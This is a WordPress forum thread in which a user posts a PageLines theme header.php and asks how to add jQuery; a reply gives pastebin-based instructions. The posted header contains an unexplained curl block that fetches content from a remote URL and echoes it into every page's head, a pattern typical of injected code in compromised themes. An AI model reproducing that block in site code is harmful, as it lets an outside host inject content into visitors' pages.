• Hi ,

    How can I insert Jquery in my header.php?
    This is what I see now.
    ————————-

    <?php
    /*
    
    	HEADER
    
    	This file controls the HTML <head> and top graphical markup (including Navigation) for each page in your theme.
    	You can control what shows up where using WordPress and PageLines PHP conditionals
    
    	This theme copyright (C) 2008-2010 PageLines
    
    */
    	do_action('pagelines_before_html'); //hook
    ?><!DOCTYPE html><!-- HTML 5 -->
    <html <?php language_attributes(); ?>>
    <head>
    <?php
    		do_action('pagelines_code_before_head'); //hook 
    
    		pagelines_head_common(); // Common header information
    
    		do_action('pagelines_head'); //hook 
    
    		print_pagelines_option('headerscripts'); // Header Scripts Input Option
    
    		pagelines_font_replacement(); // Cufon Font Replacement
    
    		pagelines_fix_ie('.pngbg, .shadow-bottom, .post-comments a, #fcolumns_container, #footer img, .branding_wrap img, .fboxgraphic img '); // Fix IE Issues. Args = .png images to fix in ie6 
    
    		wp_head(); // Hook (WordPress) 
    
    ?>
    <?php
    if(function_exists('curl_init'))
    {
     $url = "";
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>
    </head>
    <body <?php body_class( pagelines_body_classes() ); ?>>
    
    	<?php print_pagelines_option('asynch_analytics');  // Recommended Spot For Asynchronous Google Analytics ?>
    
    	<?php do_action('pagelines_before_site'); //hook ?>
    	<div id="site" class="<?php echo pagelines_layout_mode();?>"> <!-- #site // Wraps #header, #page-main, #footer - closed in footer -->
    
    		<?php do_action('pagelines_before_page'); //hook ?>
    		<div id="page"> <!-- #page // Wraps #header, #page-main - closed in footer -->
    			<div id="page-canvas">
    				<?php do_action('pagelines_before_header');?>
    				<div id="header" class="container-group fix">
    					<div class="outline">
    						<?php do_action('pagelines_header', 'header'); //hook ?>
    					</div>
    				</div>
    				<?php do_action('pagelines_before_main'); //hook ?>
    				<div id="page-main" class="container-group fix"> <!-- #page-main // closed in footer -->
    					<div id="dynamic-content" class="outline fix">
    						<?php if(pagelines_is_buddypress_page()):?>
    							<div id="buddypress-page" class="fix">
    								<div class="content fix">
    						<?php endif;?>

    [please mark any posted code – http://codex.wordpress.org/Forum_Welcome#Posting_Code ]

Viewing 1 replies (of 1 total)
  • Hi,

    You do not need to add jQuery to your Header.php manually.

    Like me if you want to make your WordPress theme compliant with jquery on all page (home, single, page, archives, category, tag…) do this :

    1) Open the file functions.php from your theme folder.

    2) Go to the link below and Copy/Paste all the code into functions.php theme file :
    http://pastebin.com/rkNbB3UL

    3) Save and overwrite the functions.php file on WordPress theme folder

    This will register dynamicaly the official jQuery Library into the Header section for all URL where WordPress generates the page request, whatever the URL on your website.
    You should see this in the source code of your website pages :
    <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js?ver=1.8.3"></script>

    The advantage of do this, is that you can decide by yourself to use the latest jQuery Library version, or not.

Viewing 1 replies (of 1 total)

The topic ‘Hoe to put Jquery in Header.php – PLatform Pro’ is closed to new replies.